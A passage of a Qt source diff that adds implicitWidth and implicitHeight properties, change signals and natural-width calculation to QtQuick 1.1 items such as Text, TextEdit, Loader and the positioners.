    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#ifndef QDECLARATIVEIMPLICITSIZEITEM_H
    +#define QDECLARATIVEIMPLICITSIZEITEM_H
    +
    +#include "qdeclarativepainteditem_p.h"
    +
    +QT_BEGIN_HEADER
    +
    +QT_BEGIN_NAMESPACE
    +
    +class QDeclarativeImplicitSizeItemPrivate;
    +class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizeItem : public QDeclarativeItem
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
    +public:
    +    QDeclarativeImplicitSizeItem(QDeclarativeItem *parent = 0);
    +
    +protected:
    +    QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent);
    +
    +Q_SIGNALS:
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
    +
    +private:
    +    Q_DISABLE_COPY(QDeclarativeImplicitSizeItem)
    +    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizeItem)
    +};
    +
    +class QDeclarativeImplicitSizePaintedItemPrivate;
    +class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizePaintedItem : public QDeclarativePaintedItem
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
    +public:
    +    QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent = 0);
    +
    +protected:
    +    QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent);
    +    virtual void drawContents(QPainter *, const QRect &) {};
    +
    +Q_SIGNALS:
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
    +
    +private:
    +    Q_DISABLE_COPY(QDeclarativeImplicitSizePaintedItem)
    +    Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizePaintedItem)
    +};
    +
    +QT_END_NAMESPACE
    +
    +QT_END_HEADER
    +
    +#endif // QDECLARATIVEIMPLICITSIZEITEM_H
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    new file mode 100644
    index 0000000..0bb7163
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    @@ -0,0 +1,90 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H
    +#define QDECLARATIVEIMPLICITSIZEITEM_P_H
    +
    +//
    +//  W A R N I N G
    +//  -------------
    +//
    +// This file is not part of the Qt API.  It exists purely as an
    +// implementation detail.  This header file may change from version to
    +// version without notice, or even be removed.
    +//
    +// We mean it.
    +//
    +
    +#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativepainteditem_p_p.h"
    +
    +QT_BEGIN_NAMESPACE
    +
    +class QDeclarativeImplicitSizeItemPrivate : public QDeclarativeItemPrivate
    +{
    +    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizeItem)
    +
    +public:
    +    QDeclarativeImplicitSizeItemPrivate()
    +    {
    +    }
    +
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +};
    +
    +
    +class QDeclarativeImplicitSizePaintedItemPrivate : public QDeclarativePaintedItemPrivate
    +{
    +    Q_DECLARE_PUBLIC(QDeclarativeImplicitSizePaintedItem)
    +
    +public:
    +    QDeclarativeImplicitSizePaintedItemPrivate()
    +    {
    +    }
    +
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +};
    +
    +QT_END_NAMESPACE
    +
    +#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index 00e06be..afa1b72 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -3056,13 +3056,24 @@ void QDeclarativeItemPrivate::resetWidth()
         q->setImplicitWidth(q->implicitWidth());
     }
     
    +void QDeclarativeItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +qreal QDeclarativeItemPrivate::implicitWidth() const
    +{
    +    return mImplicitWidth;
    +}
    +
     /*!
         Returns the width of the item that is implied by other properties that determine the content.
     */
     qreal QDeclarativeItem::implicitWidth() const
     {
         Q_D(const QDeclarativeItem);
    -    return d->implicitWidth;
    +    return d->implicitWidth();
     }
     
     /*!
    @@ -3072,9 +3083,13 @@ qreal QDeclarativeItem::implicitWidth() const
     void QDeclarativeItem::setImplicitWidth(qreal w)
     {
         Q_D(QDeclarativeItem);
    -    d->implicitWidth = w;
    -    if (d->mWidth == w || widthValid())
    +    bool changed = w != d->mImplicitWidth;
    +    d->mImplicitWidth = w;
    +    if (d->mWidth == w || widthValid()) {
    +        if (changed)
    +            d->implicitWidthChanged();
             return;
    +    }
     
         qreal oldWidth = d->mWidth;
     
    @@ -3083,6 +3098,9 @@ void QDeclarativeItem::setImplicitWidth(qreal w)
     
         geometryChanged(QRectF(x(), y(), width(), height()),
                         QRectF(x(), y(), oldWidth, height()));
    +
    +    if (changed)
    +        d->implicitWidthChanged();
     }
     
     /*!
    @@ -3164,25 +3182,77 @@ void QDeclarativeItemPrivate::resetHeight()
         q->setImplicitHeight(q->implicitHeight());
     }
     
    +void QDeclarativeItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +qreal QDeclarativeItemPrivate::implicitHeight() const
    +{
    +    return mImplicitHeight;
    +}
    +
     /*!
         Returns the height of the item that is implied by other properties that determine the content.
     */
     qreal QDeclarativeItem::implicitHeight() const
     {
         Q_D(const QDeclarativeItem);
    -    return d->implicitHeight;
    +    return d->implicitHeight();
     }
     
     /*!
    +    \qmlproperty real Item::implicitWidth
    +    \qmlproperty real Item::implicitHeight
    +    \since Quick 1.1
    +
    +    Defines the natural width or height of the Item if no \l width or \l height is specified.
    +
    +    The default implicit size for most items is 0x0, however some elements have an inherent
    +    implicit size which cannot be overridden, e.g. Image, Text.
    +
    +    Setting the implicit size is useful for defining components that have a preferred size
    +    based on their content, for example:
    +
    +    \code
    +    // Label.qml
    +    import QtQuick 1.1
    +
    +    Item {
    +        property alias icon: image.source
    +        property alias label: text.text
    +        implicitWidth: text.implicitWidth + image.implicitWidth
    +        implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
    +        Image { id: image }
    +        Text {
    +            id: text
    +            wrapMode: Text.Wrap
    +            anchors.left: image.right; anchors.right: parent.right
    +            anchors.verticalCenter: parent.verticalCenter
    +        }
    +    }
    +    \endcode
    +
    +    \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
    +    incurs a performance penalty as the text must be layed out twice.
    +*/
    +
    +
    +/*!
         Sets the implied height of the item to \a h.
         This is the height implied by other properties that determine the content.
     */
     void QDeclarativeItem::setImplicitHeight(qreal h)
     {
         Q_D(QDeclarativeItem);
    -    d->implicitHeight = h;
    -    if (d->mHeight == h || heightValid())
    +    bool changed = h != d->mImplicitHeight;
    +    d->mImplicitHeight = h;
    +    if (d->mHeight == h || heightValid()) {
    +        if (changed)
    +            d->implicitHeightChanged();
             return;
    +    }
     
         qreal oldHeight = d->mHeight;
     
    @@ -3191,6 +3261,9 @@ void QDeclarativeItem::setImplicitHeight(qreal h)
     
         geometryChanged(QRectF(x(), y(), width(), height()),
                         QRectF(x(), y(), width(), oldHeight));
    +
    +    if (changed)
    +        d->implicitHeightChanged();
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h
    index 0dd3937..839b934 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.h
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.h
    @@ -92,6 +92,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe
         Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged)
         Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item
         Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged)
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
         Q_ENUMS(TransformOrigin)
         Q_CLASSINFO("DefaultProperty", "data")
     
    @@ -161,6 +164,8 @@ Q_SIGNALS:
         void transformOriginChanged(TransformOrigin);
         void smoothChanged(bool);
         void clipChanged(bool);
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
     
     protected:
         bool isComponentComplete() const;
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h
    index fd9c736..4303c0a 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h
    @@ -126,7 +126,7 @@ public:
           widthValid(false), heightValid(false),
           componentComplete(true), keepMouse(false),
           smooth(false), transformOriginDirty(true), doneEventPreHandler(false), keyHandler(0),
    -      mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0), hadSubFocusItem(false)
    +      mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), hadSubFocusItem(false)
         {
             QGraphicsItemPrivate::acceptedMouseButtons = 0;
             isDeclarativeItem = 1;
    @@ -157,6 +157,11 @@ public:
         void setHeight(qreal);
         void resetHeight();
     
    +    virtual qreal implicitWidth() const;
    +    virtual qreal implicitHeight() const;
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +
         QDeclarativeListProperty data();
         QDeclarativeListProperty resources();
     
    @@ -272,8 +277,8 @@ public:
     
         qreal mWidth;
         qreal mHeight;
    -    qreal implicitWidth;
    -    qreal implicitHeight;
    +    qreal mImplicitWidth;
    +    qreal mImplicitHeight;
     
         bool hadSubFocusItem;
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    index 32c71dd..3395397 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    @@ -179,6 +179,7 @@ void QDeclarativeItemModule::defineModule()
         qmlRegisterType("QtQuick",1,1,"PinchArea");
         qmlRegisterType("QtQuick",1,1,"Pinch");
         qmlRegisterType();
    +    qmlRegisterType("QtQuick",1,1,"Item");
         qmlRegisterType("QtQuick",1,1,"Flickable");
         qmlRegisterType("QtQuick",1,1,"ListView");
         qmlRegisterType("QtQuick",1,1,"GridView");
    @@ -190,6 +191,10 @@ void QDeclarativeItemModule::defineModule()
     #ifndef QT_NO_LINEEDIT
         qmlRegisterType("QtQuick",1,1,"TextInput");
     #endif
    +    qmlRegisterRevision("QtQuick",1,0);
    +    qmlRegisterRevision("QtQuick",1,1);
    +    qmlRegisterRevision("QtQuick",1,0);
    +    qmlRegisterRevision("QtQuick",1,1);
     
     #ifndef QT_NO_IMPORT_QT47_QML
     #ifdef QT_NO_MOVIE
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 86e438f..86d6404 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -216,7 +216,7 @@ void QDeclarativeLoaderPrivate::initResize()
     */
     
     QDeclarativeLoader::QDeclarativeLoader(QDeclarativeItem *parent)
    -  : QDeclarativeItem(*(new QDeclarativeLoaderPrivate), parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeLoaderPrivate), parent)
     {
         Q_D(QDeclarativeLoader);
         d->flags |= QGraphicsItem::ItemIsFocusScope;
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p.h
    index 1fe7ae7..96b883c 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p.h
    @@ -42,7 +42,7 @@
     #ifndef QDECLARATIVELOADER_H
     #define QDECLARATIVELOADER_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     QT_BEGIN_HEADER
     
    @@ -51,7 +51,7 @@ QT_BEGIN_NAMESPACE
     QT_MODULE(Declarative)
     
     class QDeclarativeLoaderPrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeItem
    +class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(Status)
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 81ca66d..7f1a6da 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -55,13 +55,13 @@
     
     #include "private/qdeclarativeloader_p.h"
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativeitemchangelistener_p.h"
     
     QT_BEGIN_NAMESPACE
     
     class QDeclarativeContext;
    -class QDeclarativeLoaderPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
    +class QDeclarativeLoaderPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
     {
         Q_DECLARE_PUBLIC(QDeclarativeLoader)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    index a2a167e..9450647 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    @@ -111,14 +111,14 @@ void QDeclarativeBasePositioner::graphicsWidgetGeometryChanged()
         Note that the subclass is responsible for adding the spacing in between items.
     */
     QDeclarativeBasePositioner::QDeclarativeBasePositioner(PositionerType at, QDeclarativeItem *parent)
    -    : QDeclarativeItem(*(new QDeclarativeBasePositionerPrivate), parent)
    +    : QDeclarativeImplicitSizeItem(*(new QDeclarativeBasePositionerPrivate), parent)
     {
         Q_D(QDeclarativeBasePositioner);
         d->init(at);
     }
     
     QDeclarativeBasePositioner::QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent)
    -    : QDeclarativeItem(dd, parent)
    +    : QDeclarativeImplicitSizeItem(dd, parent)
     {
         Q_D(QDeclarativeBasePositioner);
         d->init(at);
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    index 1306fcd..6b45e49 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    @@ -42,7 +42,7 @@
     #ifndef QDECLARATIVELAYOUTS_H
     #define QDECLARATIVELAYOUTS_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -57,7 +57,7 @@ QT_BEGIN_NAMESPACE
     QT_MODULE(Declarative)
     class QDeclarativeBasePositionerPrivate;
     
    -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeItem
    +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    index c6535a7..df105c6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    @@ -55,7 +55,7 @@
     
     #include "private/qdeclarativepositioners_p.h"
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     #include 
    @@ -67,7 +67,7 @@
     #include 
     
     QT_BEGIN_NAMESPACE
    -class QDeclarativeBasePositionerPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
    +class QDeclarativeBasePositionerPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
     {
         Q_DECLARE_PUBLIC(QDeclarativeBasePositioner)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 64925d0..d424e30 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -92,7 +92,7 @@ QDeclarativeTextPrivate::QDeclarativeTextPrivate()
       vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
       format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX),
       maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
    -  cacheAllTextAsImage(true), internalWidthUpdate(false), doc(0)
    +  cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
     {
         cacheAllTextAsImage = enableImageCache();
         QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton;
    @@ -179,6 +179,18 @@ QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
     {
     }
     
    +qreal QDeclarativeTextPrivate::implicitWidth() const
    +{
    +    if (!requireImplicitWidth) {
    +        // We don't calculate implicitWidth unless it is required.
    +        // We need to force a size update now to ensure implicitWidth is calculated
    +        QDeclarativeTextPrivate *me = const_cast(this);
    +        me->requireImplicitWidth = true;
    +        me->updateSize();
    +    }
    +    return mImplicitWidth;
    +}
    +
     void QDeclarativeTextPrivate::updateLayout()
     {
         Q_Q(QDeclarativeText);
    @@ -222,12 +234,20 @@ void QDeclarativeTextPrivate::updateSize()
             return;
         }
     
    +    if (!requireImplicitWidth) {
    +        emit q->implicitWidthChanged();
    +        // if the implicitWidth is used, then updateSize() has already been called (recursively)
    +        if (requireImplicitWidth)
    +            return;
    +    }
    +
         invalidateImageCache();
     
         QFontMetrics fm(font);
         if (text.isEmpty()) {
             q->setImplicitWidth(0);
             q->setImplicitHeight(fm.height());
    +        paintedSize = QSize(0, fm.height());
             emit q->paintedSizeChanged();
             q->update();
             return;
    @@ -251,6 +271,10 @@ void QDeclarativeTextPrivate::updateSize()
             QTextOption option((Qt::Alignment)int(hAlign | vAlign));
             option.setWrapMode(QTextOption::WrapMode(wrapMode));
             doc->setDefaultTextOption(option);
    +        if (requireImplicitWidth && q->widthValid()) {
    +            doc->setTextWidth(-1);
    +            naturalWidth = doc->idealWidth();
    +        }
             if (wrapMode != QDeclarativeText::NoWrap && q->widthValid())
                 doc->setTextWidth(q->width());
             else
    @@ -275,10 +299,16 @@ void QDeclarativeTextPrivate::updateSize()
     
         //### need to comfirm cost of always setting these for richText
         internalWidthUpdate = true;
    -    q->setImplicitWidth(size.width());
    +    if (!q->widthValid())
    +        q->setImplicitWidth(size.width());
    +    else if (requireImplicitWidth)
    +        q->setImplicitWidth(naturalWidth);
         internalWidthUpdate = false;
         q->setImplicitHeight(size.height());
    -    emit q->paintedSizeChanged();
    +    if (paintedSize != size) {
    +        paintedSize = size;
    +        emit q->paintedSizeChanged();
    +    }
         q->update();
     }
     
    @@ -318,6 +348,22 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         qreal elideWidth = fm.width(elideChar);
         elidePos = QPointF();
     
    +    if (requireImplicitWidth && q->widthValid()) {
    +        // requires an extra layout
    +        layout.beginLayout();
    +        forever {
    +            QTextLine line = layout.createLine();
    +            if (!line.isValid())
    +                break;
    +        }
    +        layout.endLayout();
    +        naturalWidth = 0;
    +        for (int i = 0; i < layout.lineCount(); ++i) {
    +            QTextLine line = layout.lineAt(i);
    +            naturalWidth = qMax(naturalWidth, line.naturalTextWidth());
    +        }
    +    }
    +
         if (maximumLineCountValid) {
             layout.beginLayout();
             int y = 0;
    @@ -383,6 +429,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         }
     
         qreal layoutWidth = q->widthValid() ? q->width() : widthUsed;
    +    if (!q->widthValid())
    +        naturalWidth = layoutWidth;
     
         qreal x = 0;
         for (int i = 0; i < layout.lineCount(); ++i) {
    @@ -660,7 +708,7 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
         \sa {declarative/text/fonts}{Fonts example}
     */
     QDeclarativeText::QDeclarativeText(QDeclarativeItem *parent)
    -  : QDeclarativeItem(*(new QDeclarativeTextPrivate), parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeTextPrivate), parent)
     {
     }
     
    @@ -1331,7 +1379,8 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
     */
     qreal QDeclarativeText::paintedWidth() const
     {
    -    return implicitWidth();
    +    Q_D(const QDeclarativeText);
    +    return d->paintedSize.width();
     }
     
     /*!
    @@ -1342,7 +1391,8 @@ qreal QDeclarativeText::paintedWidth() const
     */
     qreal QDeclarativeText::paintedHeight() const
     {
    -    return implicitHeight();
    +    Q_D(const QDeclarativeText);
    +    return d->paintedSize.height();
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index 6468a77..ec33b84 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXT_H
     
     #include 
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     
    @@ -53,7 +53,7 @@ QT_BEGIN_NAMESPACE
     
     QT_MODULE(Declarative)
     class QDeclarativeTextPrivate;
    -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
    +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(HAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index fe2b042..bae2d85 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -54,7 +54,7 @@
     //
     
     #include "qdeclarativeitem.h"
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativetextlayout_p.h"
     
     #include 
    @@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocumentWithImageResources;
     
    -class QDeclarativeTextPrivate : public QDeclarativeItemPrivate
    +class QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeText)
     public:
    @@ -107,9 +107,12 @@ public:
         bool singleline:1;
         bool cacheAllTextAsImage:1;
         bool internalWidthUpdate:1;
    +    bool requireImplicitWidth:1;
     
         QSize layedOutTextSize;
    -    
    +    QSize paintedSize;
    +    qreal naturalWidth;
    +    virtual qreal implicitWidth() const;
         void ensureDoc();
         QPixmap textDocumentImage(bool drawStyle);
         QTextDocumentWithImageResources *doc;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    index 280c8c3..959d655 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    @@ -113,7 +113,7 @@ TextEdit {
         \a link string provides access to the particular link.
     */
     QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent)
    -: QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
    +: QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
     {
         Q_D(QDeclarativeTextEdit);
         d->init();
    @@ -559,7 +559,8 @@ int QDeclarativeTextEdit::lineCount() const
     */
     qreal QDeclarativeTextEdit::paintedWidth() const
     {
    -    return implicitWidth();
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->paintedSize.width();
     }
     
     /*!
    @@ -570,7 +571,8 @@ qreal QDeclarativeTextEdit::paintedWidth() const
     */
     qreal QDeclarativeTextEdit::paintedHeight() const
     {
    -    return implicitHeight();
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->paintedSize.height();
     }
     
     /*!
    @@ -1482,6 +1484,17 @@ QRectF QDeclarativeTextEdit::boundingRect() const
         return r.translated(0,d->yoff);
     }
     
    +qreal QDeclarativeTextEditPrivate::implicitWidth() const
    +{
    +    Q_Q(const QDeclarativeTextEdit);
    +    if (!requireImplicitWidth) {
    +        // We don't calculate implicitWidth unless it is required.
    +        // We need to force a size update now to ensure implicitWidth is calculated
    +        const_cast(this)->requireImplicitWidth = true;
    +        const_cast(q)->updateSize();
    +    }
    +    return mImplicitWidth;
    +}
     
     //### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't
     //    need to do all the calculations each time
    @@ -1489,16 +1502,27 @@ void QDeclarativeTextEdit::updateSize()
     {
         Q_D(QDeclarativeTextEdit);
         if (isComponentComplete()) {
    -        QFontMetrics fm = QFontMetrics(d->font);
    -        int dy = height();
    +        qreal naturalWidth = d->mImplicitWidth;
             // ### assumes that if the width is set, the text will fill to edges
             // ### (unless wrap is false, then clipping will occur)
             if (widthValid()) {
    +            if (!d->requireImplicitWidth) {
    +                emit implicitWidthChanged();
    +                // if the implicitWidth is used, then updateSize() has already been called (recursively)
    +                if (d->requireImplicitWidth)
    +                    return;
    +            }
    +            if (d->requireImplicitWidth) {
    +                d->document->setTextWidth(-1);
    +                naturalWidth = d->document->idealWidth();
    +            }
                 if (d->document->textWidth() != width())
                     d->document->setTextWidth(width());
             } else {
                 d->document->setTextWidth(-1);
             }
    +        QFontMetrics fm = QFontMetrics(d->font);
    +        int dy = height();
             dy -= (int)d->document->size().height();
     
             int nyoff;
    @@ -1523,12 +1547,15 @@ void QDeclarativeTextEdit::updateSize()
             if (!widthValid() && d->document->textWidth() != newWidth)
                 d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug)
             // ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed.
    -        setImplicitWidth(newWidth);
    +        if (!widthValid())
    +            setImplicitWidth(newWidth);
    +        else if (d->requireImplicitWidth)
    +            setImplicitWidth(naturalWidth);
             qreal newHeight = d->document->isEmpty() ? fm.height() : (int)d->document->size().height();
             setImplicitHeight(newHeight);
     
